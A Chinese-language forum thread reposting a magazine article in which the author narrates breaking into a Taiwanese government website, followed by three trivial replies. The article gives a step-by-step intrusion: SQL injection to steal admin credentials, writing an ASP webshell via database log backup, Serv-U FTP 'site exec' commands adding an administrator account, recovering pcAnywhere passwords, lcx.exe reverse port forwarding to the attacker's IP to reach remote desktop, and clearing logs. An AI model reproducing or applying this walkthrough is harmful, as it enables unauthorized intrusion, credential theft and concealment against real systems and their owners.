文本版|topic 高级搜索
   名人堂 帮助 论坛制度 意见反馈 | 首页 博客 周新贴 招聘 专题 新闻
RSS 底部
 
社区导航: 专家门诊   网络技术   操作系统   数据库   程序设计   系统应用   考试认证   CIO及信息化   站长交流   综合交流   下载基地  51CTO产品服务 设为首页 | 收藏本站
51CTO技术论坛» 网络安全 » 入侵台湾某政府网站       [ 打印]  [ 订阅]  [ 收藏]  [ 推荐给朋友]   [ 本帖文本页]

论坛跳转:
     
标题: [转载] 入侵台湾某政府网站  ( 查看:566  回复:3 )   
 
sally
副版主  点击可查看详细


帖子 1183
精华 2
无忧币 7792
积分 2944
阅读权限 140
注册日期 2006-8-4
最后登录 2008-7-9 在线

[查看资料]  [发短消息]  [Blog
       
发表于:2007-10-29 14:38   标题:入侵台湾某政府网站
上一帖 |
题目:入侵台湾某政府网站
文章作者:hackest[H.S.T]&[L.S.T]&[E.S.T]

此文章已发表在《黑客X档案》第5期杂志上
后经本文作者hackest提交到邪恶八进制论坛
欢迎大家转载,但请务必要记住注明此信息!

一、确定目标

    近段时间台湾发生地震,许多海底光缆受到破坏,造成互联网访问出现一些问题。想想自己已经很久没有活动过了,不练习练习的话,技术早晚会生疏。台湾最近貌似也不太好过。那我们干脆就去看看台湾同胞的网站安全做得如何吧。在网上找了下台湾那边的站,主要是想找些GOV的站点练习下。很快就确定了今天的练习目标:http://www.xxx.nat.gov.tw,就拿它来试试吧,如图1

二、开始行动

    目标锁定了,接下来就是拿工具扫注入点了,菜菜嘛。没别的本事,会用用工具而已。扫描注入点当然首选啊D了,打开啊D 2.32破解版,单击扫描注入点,再在检测网址栏中填入目标站网址http://www.xxx.nat.gov.tw,再单击右边第一个红色的小按钮,这样就开始扫描注入点了。啊D很快就扫出来几个注入点,在工具下面的“可用注入点”框里全部以红色的链接醒目的列了出来。在这些链接上单击右键,选择"注入检测",进入检测界面,再单击"检测"按钮,很快就得出结果:注入类型为MSSQL数据库显错模式,注入权限为DB_OWNER,如图2。 这种情况一般可以尝试用LOG备份来得到webshell。不过前提是要知到网站的绝对路径。接下来利用啊D的列目录功能尝试找到网站的根目录,相关工具菜单里的第一个按钮目录查看,但是列了半天居然没有找到WEB目录,可能真的是RP有问题了。既然这样也没办法,就先猜下表名、列名,返回到注入检测页面,单击检测表段,便开始检测表段了,检测出来之后发现tblAdminUsersp 这个就是它的管理员表段了,双击表名就开始下一步工作检测表名了。检测出来后得到的两个表名LoginID和Password分别为管理员登录用户名和密码,至此通过注入顺利得到管理员用户名和密码,如图3。 接下来就是找后台登录进去了。用啊D的管理入口检测扫了一下,没有把后台扫出来。于是手工猜了一下,直接在URL后面加个manage,成功跳转到管理登录页面,如图4。 用得到的用户名和密码顺利成功登录进去,如图5。 在里面看了看,虽然有个上传附件的地方,试了下发现不能直接传ASP文件,其他可执行(如asa、cer、htr之类的)后缀也不能上传。上传附件有限制,属于只允许类上传,如图6。 测试抓包上传也失败了。后台好像也利用不了,貌似现在没什么法子搞下去了。

三、发现突破口

    然后继续在后台里打转,突然发现一个很吸引人的地方——网站空间设定,如图7。 最吸引的还是那个“浏览文件夹”啊!抱着试一试的心态打开,发现了让人期待的东西,网站的根目录出现了:C:\Inetpub\wwwroot\DIGITAL\NewWeb\,如图8。没想到居然会在C盘! 在此感谢一下我的朋友职业色狼,是他帮我找到这个目录的。好了,现在有了WEB路径,注入权限又是DB_OWNER。这样的话就可以试着通过LOG备份来得到一句话了。现在是万事俱备只欠备份了。还是老办法,用GetWebshellah56bug大众版进行备份。注射点填啊D扫描出来的注入点:http://www.xxx.nat.gov.tw/preferential_more.asp?id=97,数据库填CF01(就是啊D检测出来的当前库),WEB路径填C:\Inetpub\wwwroot\DIGITAL\NewWeb\hack.asp(要带文件名哦),木马代码默认的就可以了,(ah为连接密码,可以改动,这里我改为cmd),至于是数字型还是字符型就要看啊D检测的结果了,从图2中可以看到是数字型的,选上数字型。所有相关信息都填好之后如图9所示。 接着开始从第一步一直点到第六步,不要太快,一般以返回注入点页面后为准,就是返回了了一次注入点所在页面就按下一步,就可以成功备份出一句话ASP木马了,如图10。 文件尾部出现了’Execute’,大致意思就是运行出错,类型不匹配之类的。这样就说明已经成功备份出了一句话ASP木马。接着用一句话客户端连接,连接成功,在一片凌乱的代码中我们看到了希望看到的,成功得到返回的目标网站的环境变量信息,如图11。 接下来上传了一个大马ASP站长助手增强版,访问成功顺利得到大马,如图12。 其实不一定要先小马后大马这样的顺序的,大家不要被误导了,直接传大马也是可以的,只要服务器允许传就行了。

四、提权的困境

  几经周折,webshell总算是顺利拿到了,可我还是不太满足,想继续下去,拿下它的服务器权限!有了webshell办事就方便多了。提权前一般要先看看开了些什么服务,尽量多地得到一些关于服务器的信息。直接用ASP站长助手增强版执行net start命令发现拒绝访问了。因为权限不够,不能访问系统目录下的cmd.exe。服务器上的原有的cmd.exe不能用,我自己的还不能用么!于是上传了一个从2003系统中提取出来的cmd.exe上传到WEB根目录下。在“SHELL路径”那里填上cmd.exe文件所在目录:C:\Inetpub\wwwroot\DIGITAL\NewWeb\cmd.exe,勾上WScript.Shell,执行net start命令,这一次终于有反应了,成功返回服务开启信息,如图13。 但是却没有发现什么利用性较大的服务。虽然pcAnywhere Host Service和Terminal Services这两个挺讨人喜欢的。net user之后发现有ASPNET这个用户,说明支持asp.net,于是上传了一个ASPX马,访问后发现根本不能用,看来没有开通对ASPX的支持,可惜了!还有就是大家所熟知的Serv-U提权了,跳到程序目录发现装有Serv-U这个FTP软件,这无疑是一个好消息!接着上传Goldsun写的Serv-UASP提权马,执行添加一个用户名为hackest的用户并添加进管理员组。命令格式为:cmd /c net user goldsun love /add & net localgroup administrators goldsun /add。可是这个提权马有个毛病,就是无论成不成功都直接提示成功的。可事实上在这个站的提权过程中并没有成功添加用户!如果这么顺利的话就不会有本文了。郁闷了,权限暂时还是没有办法提上去。明明装有Serv-U的,却提不了权,难道管理员把默认的连接密码改了?先扫描一下21端口,发现Serv-UFTP版本居然是2.5,如图14! 天啊,开什么玩笑,居然会是2.5版本的,以前从来没有遇到过这么低版本的Serv-UFTP软件啊!google了一下2.5版本提权资料,居然发现只有几个连接,而且都根本解决不了问题,有些还是01年的东西。看来这个2.5版本的的确有点老了,真没想到台湾同胞这么怀旧,难怪Serv-U提权的ASP马会失效了。提权陷入了困境。怎么办呢……

五、希望的曙光

    难道到这里就要停手了吗?服务器权限就真的与我无缘了吗?好不甘心啊!坚决不能放弃啊……再跳转到Serv-U的安装目录C:\Program Files\Serv-U发现2.5版本的Serv-U果然和平时见的高版本的Serv-U不同,文件都少了很多,如图15。 看来看去就一个INI文件,SERV-U.INI这个文件应该就是FTP配置文件了。打开这个文件,惊奇地发现FTP密码居然是明文存放的!不过却没有对这个文件的编辑权限,要加一个FTP用户就实现不了。把安装目录里的所有文件下载回本地,打开发现是英文版的,但是没有找到和6.0版本那样的用户权限分配设置,如图16。 先不管那些了,赶紧用得到的用户名和密码连接看看先,发现能够正确连接上的,如图17。 而且还发现个别FTP用户有执行权限!这个才是最重要的!提权就全靠它了!要执行命令的话就要在CMD下连接登录才行了。于是退了FlashFXP,在CMD下连接登录进去,成功登录(230 User logged in,proceed.)后如图18。 尝试执行添加用户命令:quote site exec net user hackest hackest123456,却提示“501 Cannot EXEC command line .”,如图19。 可恶,居然执行不了!抱着一试的心态上传了一个net.exe到网站根目录下,然后再执行:quote site exec C:\Inetpub\wwwroot\DIGITAL\NewWeb\net.exe user hackest hackest /add,这一次提示成功(200 EXEC command successful .)了,如图20。 在websehll里执行查看用户的命令net user也终于发现有了hackest这个用户了,如图21。 接着当然是把这个用户加进管理员组了,执行:quote site exec C:\Inetpub\wwwroot\DIGITAL\NewWeb\net.exe localgruop administrators hackest /add也提示成功(200 EXEC command successful .)了,如图22。 再在webshell里执行net user hackest发现此用户已经在管理员组了,如图23

六、最后的突破

  用户已经成功添加了,最后的事情就是连接登录了。可是当我满怀高兴地去连接3389的时候却连接不上!郁闷啊……难道远程桌面连接端口改成别的了?我仔细检查后发现端口的确是3389,可是连接不上!原因就只能有一个了,是那可恶的防火墙挡住了!还有pcAnywhere的连接端口也是5631,虽然在C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere目录中下载了它的*.cif文件,再用PCAnywhere PassView v1.11得到了用户名和密码,不过一样也是连接不上。不过这种小case是难不倒我们的,嘿嘿。方法就是给它来个端口转发。因为一般防火墙对外与内的连接看得很死(比如我连服务器),但是对内与外连接就不那么严密了(比如服务器连我),这样的话防火墙一般都会放行的。所以,既然你不让我连你,那我就让你连我算了。这回看你怎么挡,嘿嘿。于是以迅雷不及掩耳的速度上传了一个lcx.exe到网站的根目录下,然后用FTP执行:quote site exec C:\Inetpub\wwwroot\DIGITAL\NewWeb\lcx.exe -slave 219.135.10.7 51 127.0.0.1 3389。不过前提是你要有公网IP哦,219.135.10.7这个就是我的公网IP了,命令的意思是把服务器上的3389端口的连接数据转发到远程主机的51端口,就是转发到我这边的51端口了。然后在本地运行lcx.exe -listen 51 2007,命令的意思是本地接收51端口的数据转发到2007端口,这样就实现了连接本机2007端口等于连接远程主机3389端口的目的了,如图24。 最后再用远程桌面连接器连接127.0.0.1:2007就可以连接上对方服务器了,成功登录后如图25所示。 至此,已经成功拿到了服务器最高权限并且完全控制了这个服务器。最后就是把上传的工具删掉,清理下日志了。在这里先提前祝大家新年快乐,猪年肉鸡多多……



【一个网络工程师在英国的面试经历】
2007-10-29 14:381楼
[ 顶部 ]
 
jkbinyu
技术员  点击可查看详细



帖子 294
精华 0
无忧币 384
积分 322
阅读权限 30
注册日期 2006-12-18
最后登录 2008-7-7 离线

[查看资料]  [发短消息]  [Blog
       
发表于:2007-10-29 15:04 
沙发!!!!!!!!!!!!!



网络工程师到底该不该去考CCIE认证?
2007-10-29 15:042楼
[ 顶部 ]
 
lian88
新新人类  点击可查看详细



帖子 53
精华 0
无忧币 21
积分 53
阅读权限 20
注册日期 2007-11-1
最后登录 2007-11-3 离线

[查看资料]  [发短消息]  [Blog
       
发表于:2007-11-3 17:48 
板凳



网络工程师到底该不该去考CCIE认证?
2007-11-3 17:483楼
[ 顶部 ]
 
conxzy
新新人类  点击可查看详细



帖子 83
精华 0
无忧币 155
积分 95
阅读权限 20
注册日期 2007-10-15
最后登录 2008-6-26 离线

[查看资料]  [发短消息]  [Blog
       
发表于:2007-11-3 22:52 
我也菜菜



网络工程师到底该不该去考CCIE认证?
2007-11-3 22:524楼
[ 顶部 ]
     
论坛跳转:  

| | |

| | |

| | |

标记已读 · 删除论坛Cookies · 文本版 · WAP
 
| 诚征版主 | 版主堂 | 意见建议 | 大史记 | 论坛地图
Copyright©2005-2008 51CTO.COM  Powered by Discuz!
本论坛言论纯属发布者个人意见,不代表51CTO网站立场!如有疑义,请与管理员联系。
京ICP备05051492号